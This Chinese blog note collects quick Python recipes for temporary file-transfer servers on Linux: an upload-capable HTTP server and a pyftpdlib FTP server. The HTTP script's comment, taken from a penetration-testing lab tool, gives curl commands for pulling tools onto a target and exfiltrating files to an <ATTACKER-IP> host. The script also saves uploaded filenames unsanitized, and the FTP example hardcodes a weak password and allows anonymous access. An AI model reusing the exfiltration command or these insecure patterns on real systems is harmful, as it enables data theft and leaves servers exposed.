=Start=
缘由:
简单整理一下在Linux服务器上用Python快速创建支持上传(下载)功能的FTP/HTTP服务的方法,方便有需要的时候参考和使用。
正文:
参考解答:
有些时候因为测试需要临时搭建一些环境用于问题验证,专门去下载对应的软件然后安装配置还是有点麻烦,所以想着去搜索整理一些简单快速(尽可能利用现有环境资源,不安装或少安装额外的库/软件,不运行未经过人工审计确认过的大段代码/程序,减小中招概率)去搭建测试环境的方法,方便有需要的时候进行使用。
另外就是需要提前说明的就是,这里搭建的HTTP/FTP服务只适用于临时使用,在使用完了之后最好立即退出,避免出现一些意想不到的问题。
考虑到Python在绝大多数的Linux发行版当中都默认安装,所以平时在(跨平台)传输文件的时候就经常会用到Python的SimpleHTTPServer模块,以HTTP方式共享当前文件夹的文件。
$ python -m SimpleHTTPServer 9000
$ python3 -m http.server 9000
对于文件的下载来说默认的SimpleHTTPServer模块就够了,但是通过这种方式启动的HTTP服务仅支持下载不支持上传,所以下面的内容主要是为了实现一个支持上传功能的HTTP服务。原理本身并不复杂,在此基础上也可根据需要进行简单改写以满足特定需求,我只是为了记录一下方便后面参考,所以这里直接放一些验证过可用的简短代码,想要详细的可以看后面的参考链接进一步查看。
-- 搭建HTTP服务,挑了个代码短的方便展现
#!/usr/env python3
########################################################################
#
# Simple HTTP server that supports file upload for moving data around
# between boxen on HTB. Based on a gist by bones7456, but mangled by me
# as I've tried (badly) to port it to Python 3, code golf it, and make
# It a little more robust. I was also able to strip out a lot of the
# code trivially because Python3 SimpleHTTPServer is a thing, and the
# cgi module handles multipart data nicely.
#
# Lifted from: https://gist.github.com/UniIsland/3346170
#
# Important to note that this tool is quick and dirty and is a good way
# to get yourself popped if you're leaving it running out in the real
# world.
#
# Run it on your attack box from the folder that contains your tools.
#
# From the target machine:
# Infil file: curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Exfil file: curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
#
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
#
########################################################################
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
-- 搭建FTP服务,需先额外安装pyftpdlib模块
#!/usr/bin/env python
# coding=utf-8
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
class MyHandler(FTPHandler):
def on_connect(self):
print ("%s:%s connected" % (self.remote_ip, self.remote_port))
def on_disconnect(self):
# do something when client disconnects
pass
def on_login(self, username):
# do something when user login
pass
def on_logout(self, username):
# do something when user logs out
pass
def on_file_sent(self, file):
# do something when a file has been sent
print(self.username, file)
pass
def on_file_received(self, file):
# do something when a file has been received
print(self.username, file)
pass
def on_incomplete_file_sent(self, file):
# do something when a file is partially sent
print(self.username, file)
pass
def on_incomplete_file_received(self, file):
# remove partially uploaded files
import os
os.remove(file)
def main():
authorizer = DummyAuthorizer()
authorizer.add_user('user', 'userpass123', homedir='.', perm='elradfmwMT')
authorizer.add_anonymous(homedir='/tmp/')
handler = MyHandler
handler.authorizer = authorizer
server = FTPServer(('', 9999), handler)
server.serve_forever()
if __name__ == "__main__":
main()
参考链接:
Simple Python Http Server with Upload – Python3 version (测试OK)
https://gist.github.com/touilleMan/eb02ea40b93e52604938
[x]Python SimpleHTTPServer to receive files (测试OK,页面仅支持浏览,上传需要通过curl等命令进行POST操作)
https://stackoverflow.com/questions/39788591/python-simplehttpserver-to-receive-files
https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
python simple http server with upload & download (测试OK,页面浏览功能不支持;另外就是因为仅改写了PUT操作的代码,所以仅支持用PUT方法上传文件)
https://gist.github.com/darkr4y/761d7536100d2124f5d0db36d4890109
Receiving files over HTTP with Python
https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html
Python’s http.server extended to include a file upload page (因为要额外安装包,所以暂未测试)
https://pypi.org/project/uploadserver/
https://github.com/Densaugeo/uploadserver
One line ftp server in python
https://stackoverflow.com/questions/4994638/one-line-ftp-server-in-python
https://docs.twistedmatrix.com/en/stable/core/examples/#ftp-examples
[y]Extremely fast and scalable Python FTP server library
https://github.com/giampaolo/pyftpdlib
https://pyftpdlib.readthedocs.io/en/latest/tutorial.html#event-callbacks
Pyftpdlib 使用方法
https://blog.csdn.net/xuq09/article/details/84936853
python-ftp-server (Command line FTP server tool designed for performance and ease of use.)
https://pypi.org/project/python-ftp-server/
=END=